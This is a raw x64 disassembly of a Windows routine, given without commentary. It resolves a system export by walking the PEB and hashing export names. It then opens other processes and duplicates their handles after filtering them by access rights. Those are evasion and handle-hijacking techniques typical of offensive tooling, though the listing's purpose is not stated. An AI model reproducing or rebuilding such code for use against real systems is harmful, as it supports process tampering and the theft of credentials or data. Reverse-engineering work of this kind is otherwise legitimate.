mov r15d, dword [rsp + 0x50]
mov edx, dword [r13 + 0x70]
xor r14b, r14b
mov rbx, qword [r13]
mov r12d, esi
mov rdi, qword [r13 + 0x18]
mov r13, qword [rsp + 0x58]
mov dword [rsp + 0x48], edx
mov qword [rbp - 0x68], rbx
mov qword [rsp + 0x68], rdi
cmp dword [r13], 0
mov qword [rbp + 0x10], rsi
mov qword [rbp - 0x30], rsi
jbe 0x140006d69
nop word [rax + rax]
mov eax, r12d
lea rcx, [rax + rax*2]
movups xmm1, xmmword [r13 + rcx*8 + 8]
movsd xmm0, qword [r13 + rcx*8 + 0x18]
movd eax, xmm1
movups xmmword [rsp + 0x70], xmm1
movzx eax, ax
movsd qword [rbp - 0x80], xmm0
cmp eax, r15d
jne 0x140006d53
mov rax, qword [rsp + 0x70]
shr rax, 0x20
movzx eax, al
cmp eax, edx
jne 0x140006d53
test dword [rbp - 0x80], 0x1f000f
je 0x140006d53
xor edx, edx
mov r8d, r15d
lea ecx, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
test rax, rax
je 0x140006d4f
movzx r13d, word [rsp + 0x76]
lea r9, [rbp - 0x30]
xor eax, eax
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], eax
mov edx, r13d
mov rcx, rsi
mov dword [rsp + 0x20], eax
lea r8, [rax - 1]
call rdi
test eax, eax
js 0x140006d0d
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov rcx, qword [rax]
mov rax, qword [0x14000cc50]
mov r10, qword [rcx + 0x30]
test rax, rax
jne 0x140006ce6
movsxd rax, dword [r10 + 0x3c]
xor r11d, r11d
mov edi, dword [rax + r10 + 0x88]
mov r15d, dword [rdi + r10 + 0x20]
nop word [rax + rax]
lea rax, [r10 + r11*4]
mov r9d, 0x4a9c2419
mov r8d, dword [rax + r15]
add r8, r10
movzx edx, byte [r8]
inc r8
test dl, dl
je 0x140006cb1
nop dword [rax]
movsx eax, dl
lea r8, [r8 + 1]
sub dl, 0x41
mov ecx, eax
or ecx, 0x20
cmp dl, 0x19
movzx edx, byte [r8 - 1]
cmova ecx, eax
xor ecx, r9d
imul r9d, ecx, 0x1000193
test dl, dl
jne 0x140006c80
cmp r9d, 0xc6a86c1b
je 0x140006cb6
inc r11d
jmp 0x140006c60
mov ecx, dword [rdi + r10 + 0x24]
mov rbx, qword [rbp - 0x68]
add rcx, r10
mov r15d, dword [rsp + 0x50]
movzx edx, word [rcx + r11*2]
mov ecx, dword [rdi + r10 + 0x1c]
mov rdi, qword [rsp + 0x68]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov qword [0x14000cc50], rax
mov rdx, qword [rbp - 0x30]
mov rcx, 0xffffffffffffffff
call rax
mov rcx, qword [rbp - 0x30]
test eax, eax
mov eax, 1
movzx r14d, r14b
cmovns r14d, eax
test rcx, rcx
je 0x140006d0d
call rbx
mov ecx, 1
lea r9, [rbp + 0x10]
mov dword [rsp + 0x30], ecx
xor eax, eax
mov dword [rsp + 0x28], eax
mov rdx, r13
mov dword [rsp + 0x20], eax
lea r8, [rcx - 2]
mov rcx, rsi
call rdi
test eax, eax
js 0x140006d40
mov rcx, qword [rbp + 0x10]
mov r14b, 1
test rcx, rcx
jne 0x140006d62
mov rcx, rsi
call rbx
test r14b, r14b
jne 0x140006d69
mov r13, qword [rsp + 0x58]
mov edx, dword [rsp + 0x48]
inc r12d
cmp r12d, dword [r13]
jb 0x140006b80
jmp 0x140006d69
call rbx
mov rcx, rsi
call rbx
mov rax, qword [rbp - 0x40]
test rax, rax
je 0x140006d75
mov dword [rax], r15d
mov byte [rsp + 0x41], 1
mov r15, qword [rsp + 0x58]
xor edx, edx
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov r13, qword [rbp - 0x48]
mov rcx, qword [r13 + 0x38]
test rcx, rcx
je 0x140006da1
call qword [r13]
mov rcx, qword [r13 + 0x50]
test rcx, rcx
je 0x140006dae
call qword [r13]
mov rcx, qword [r13 + 0x20]
test rcx, rcx
je 0x140006dbb
call qword [r13]
mov rcx, qword [r13 + 0x68]
test rcx, rcx
je 0x140006dc8
call qword [r13]
mov rcx, qword [r13 + 0x80]
test rcx, rcx
je 0x140006dd8
call qword [r13]
movzx eax, byte [rsp + 0x41]
jmp 0x140007271
mov rdi, qword [rax + 0x40]
jmp 0x140006ab5
mov rcx, qword [rax + 0x40]
mov ebx, edx
test rcx, rcx
je 0x140006ae2
cmp word [rcx], dx
je 0x140006ae4
inc ebx
lea rcx, [rcx + 2]
cmp word [rcx], dx
jne 0x140006e03
jmp 0x140006ae4
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
add rcx, 0x20
cmp rax, rcx
je 0x140006e43
nop dword [rax]
cmp qword [rax + 0x50], 0
jne 0x140006ee6
mov rax, qword [rax]
cmp rax, rcx
jne 0x140006e30
xor ecx, ecx
lea r9, [rdx + rdx]
lea rax, [rcx + r9]
xor ecx, ecx
test rax, rax
je 0x140006e6c
cmp word [rax], cx
je 0x140006e6c
nop dword [rax]
inc ecx
lea rax, [rax + 2]
cmp word [rax], 0
jne 0x140006e60
mov rax, qword gs:[0x60]
movsxd rdx, ecx
shl rdx, 3
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x20]
add rcx, 0x20
cmp rax, rcx
je 0x140006e9f
nop dword [rax]
cmp qword [rax + 0x50], 0
jne 0x140006eef
mov rax, qword [rax]
cmp rax, rcx
jne 0x140006e90
xor r8d, r8d
lea rax, [r8 + r9]
mov rcx, r14
cmp r14, rax
jbe 0x140006ef5
add rax, rdx
cmp r14, rax
jae 0x140006ef5
lea rcx, [r14 - 1]
add rcx, rdx
lea r8, [rax - 1]
test rdx, rdx
je 0x140006f11
nop word [rax + rax]
movzx eax, byte [r8]
lea r8, [r8 - 1]
mov byte [rcx], al
lea rcx, [rcx - 1]
sub rdx, 1
jne 0x140006ed0
jmp 0x140006f11
mov rcx, qword [rax + 0x40]
jmp 0x140006e45
mov r8, qword [rax + 0x40]
jmp 0x140006ea2
test rdx, rdx
je 0x140006f11
sub r8, r14
add r9, r8
movzx eax, byte [r9 + rcx]
mov byte [rcx], al
lea rcx, [rcx + 1]
sub rdx, 1
jne 0x140006f00
mov rdi, qword [rsp + 0x58]
xor ebx, ebx
mov dword [rsp + 0x50], ebx
cmp dword [rdi], ebx
jbe 0x1400071da
nop dword [rax]
nop dword [rax + rax]
lea rcx, [rbx + rbx*2]
movups xmm1, xmmword [rdi + rcx*8 + 8]
movsd xmm0, qword [rdi + rcx*8 + 0x18]
mov ecx, dword [rsp + 0x4c]
movd eax, xmm1
movups xmmword [rsp + 0x70], xmm1
movzx eax, ax
movsd qword [rbp - 0x80], xmm0
cmp eax, ecx
jne 0x1400071cc
mov rax, qword [rsp + 0x70]
shr rax, 0x20
movzx eax, al
cmp eax, esi
jne 0x1400071cc
test dword [rbp - 0x80], 0x120089
je 0x1400071cc
xor edx, edx
mov r8d, ecx
lea ecx, [rdx + 0x40]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rbp - 0x30], rax
mov rsi, rax
test rax, rax
je 0x1400071c8
movzx edx, word [rsp + 0x76]
lea r9, [rbp - 0x28]
xor eax, eax
mov dword [rsp + 0x30], 2
mov dword [rsp + 0x28], eax
mov rcx, rsi
mov dword [rsp + 0x20], eax
lea r8, [rax - 1]
call r13
test eax, eax
js 0x1400071bd
mov rcx, qword [rbp - 0x28]
lea rax, [rbp - 0x38]
mov rbx, qword [rbp - 0x68]
lea r8, [rbp - 0x38]
mov edi, 1
mov qword [rsp + 0x20], rax
mov edx, edi
mov r9d, 0x10
call rbx
mov edx, dword [rbp - 0x38]
lea r9d, [rdi + 3]
xor ecx, ecx
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r9d, dword [rbp - 0x38]
mov edx, edi
mov rcx, qword [rbp - 0x28]
mov r13, rax
lea rax, [rbp - 0x38]
mov r8, r13
mov qword [rsp + 0x20], rax
call rbx
test eax, eax
js 0x14000718e
movzx r15d, word [r14]
lea r12, [r14 + 2]
mov r11, qword [r13 + 8]
mov rdx, r11
test r15w, r15w
je 0x1400070d1
nop dword [rax]
movzx eax, word [rdx]
mov r14, rdx
add rdx, 2
test ax, ax
je 0x1400070e0
cmp ax, r15w
jne 0x140007040
mov r10, r12
test rdx, rdx
je 0x140007040
test r12, r12
je 0x140007040
mov rdi, rdx
sub rdi, r12
nop dword [rax]
movzx r9d, word [r10]
movzx r8d, word [rdi + r10]
lea esi, [r9 - 0x41]
cmp esi, 0x19
lea ecx, [r9 + 0x20]
lea ebx, [r8 - 0x41]
cmova ecx, r9d
lea eax, [r8 + 0x20]
cmp ebx, 0x19
cmova eax, r8d
cmp eax, ecx
jne 0x1400070b3
test r8w, r8w
je 0x1400070ad
test r9w, r9w
je 0x1400070b3
add r10, 2
jmp 0x140007070
test r9w, r9w
je 0x1400070ce
cmp ebx, 0x19
ja 0x1400070bc
add r8d, 0x20
cmp esi, 0x19
ja 0x1400070c5
add r9d, 0x20
cmp r8d, r9d
jne 0x140007040
mov rdx, r14
test rdx, rdx
jne 0x140007171
nop word [rax + rax]
movzx eax, word [r11]
mov rsi, r11
add r11, 2
test ax, ax
je 0x14000717b
cmp ax, 0x73
jne 0x1400070e0
lea rax, [0x140009382]
mov r9, rax
test r11, r11
je 0x1400070e0
mov rbx, r11
sub rbx, rax
nop
movzx r8d, word [r9]
movzx edx, word [r9 + rbx]
lea edi, [r8 - 0x41]
cmp edi, 0x19
lea ecx, [r8 + 0x20]
lea r10d, [rdx - 0x41]
cmova ecx, r8d
lea eax, [rdx + 0x20]
cmp r10d, 0x19
cmova eax, edx
cmp eax, ecx
jne 0x140007151
test dx, dx
je 0x14000714b
test r8w, r8w
je 0x140007151
add r9, 2
jmp 0x140007110
test r8w, r8w
je 0x14000716c
cmp r10d, 0x19
ja 0x14000715a
add edx, 0x20
cmp edi, 0x19
ja 0x140007163
add r8d, 0x20
cmp edx, r8d
jne 0x1400070e0
test rsi, rsi
je 0x14000717b
mov r15b, 1
mov byte [rsp + 0x40], r15b
jmp 0x140007181
movzx r15d, byte [rsp + 0x40]
mov rsi, qword [rbp - 0x30]
mov r14, qword [rsp + 0x68]
mov r12, qword [rbp - 0x70]
mov rcx, qword [rbp - 0x28]
test rcx, rcx
je 0x14000719a
call r12
test r13, r13
je 0x1400071b0
xor edx, edx
mov r8d, 0x8000
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rdi, qword [rsp + 0x58]
mov r13, qword [rbp + 0x10]
mov ebx, dword [rsp + 0x50]
mov rcx, rsi
call r12
test r15b, r15b
jne 0x1400071da
mov esi, dword [rsp + 0x48]
inc ebx
mov dword [rsp + 0x50], ebx
cmp ebx, dword [rdi]
jb 0x140006f30
test r14, r14
je 0x1400071f0
xor edx, edx
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test r15b, r15b
jne 0x14000721b
mov edx, dword [rsp + 0x44]
xor esi, esi
mov eax, dword [rsp + 0x60]
mov r9d, dword [rdi]
inc eax
mov dword [rsp + 0x60], eax
cmp eax, r9d
jae 0x140007231
mov r13, qword [rbp - 0x48]
jmp 0x1400067b0
mov edx, r15d
jmp 0x1400071fb
mov r15d, dword [rsp + 0x4c]
mov rax, qword [rbp - 0x40]
test rax, rax
je 0x14000722c
mov dword [rax], r15d
mov byte [rsp + 0x41], 1
mov eax, dword [rbp - 0x34]
mov ecx, dword [rsp + 0x64]
cmp eax, ecx
jbe 0x140006d7a
mov r15, qword [rsp + 0x58]
sub eax, ecx
cmp eax, 0x960
jbe 0x140006d7f
mov byte [rsp + 0x41], 1
jmp 0x140006d7f
mov byte [rsp + 0x41], 0
test r15, r15
je 0x140006d94
jmp 0x140006d7f
xor al, al
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.140007a30
mov rbx, qword [rsp + 0x1d0]
add rsp, 0x180
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret